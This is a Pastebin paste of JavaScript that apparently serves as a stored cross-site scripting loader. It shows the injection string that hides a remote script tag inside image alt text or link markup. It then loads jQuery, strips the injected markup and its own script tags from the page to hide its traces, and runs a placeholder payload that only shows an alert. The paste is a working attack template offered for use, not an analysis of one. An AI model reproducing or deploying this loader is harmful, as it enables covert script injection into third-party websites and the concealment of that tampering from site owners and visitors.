
key
By:
WRabbit on
Jul 10th, 2012 | syntax:
JavaScript | size: 1.68 KB | hits: 43 | expires: Never
/** Global Variables **/
var jQueryPath = "http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js";
var jQIncluded = false;
/** Fix Source **/
function fix_html() {
$("img").each(function(i) {
var img = $("img")[i]
if (img.alt && img.alt.indexOf("<!--") != -1)
img.alt = img.alt.substr(0,img.alt.indexOf("<!--"));
});
$("a").each (function(i) {
var a = $("a")[i];
if (a.innerHTML.indexOf('<!--"><script type="text/javascript" src="http://pastebin.com/raw.php?i=1Q4QPQaq"></script x="-->') != -1)
a.innerHTML = a.firstChild.data;
});
/** Remove loader for this script and jQuery **/
var ary = $("script");
var c = 0;
while(c < ary.length) {
var scr = ary[c];
if (scr.src == "http://pastebin.com/raw.php?i=1Q4QPQaq" || (jQIncluded && scr.src == jQueryPath)) {
scr.parentNode.removeChild(scr);
ary = $("script");
} else
++c;
}
}
/** Operational Code **/
function payload() {
alert("Code is running!");
}
function run_code() {
$(document).ready(fix_html);
payload();
}
/** Load jQuery **/
if (typeof installed == "undefined") {
installed = true;
if (typeof jQuery == "undefined") {
var theNewScript = document.createElement("script");
theNewScript.type = "text/javascript";
theNewScript.src = jQueryPath;
document.getElementsByTagName("head")[0].appendChild(theNewScript);
var waitForLoad = function () {
if (typeof jQuery != "undefined") {
jQIncluded = true;
run_code();
} else {
window.setTimeout(waitForLoad, 100);
}
};
window.setTimeout(waitForLoad, 100);
} else {
run_code();
}
}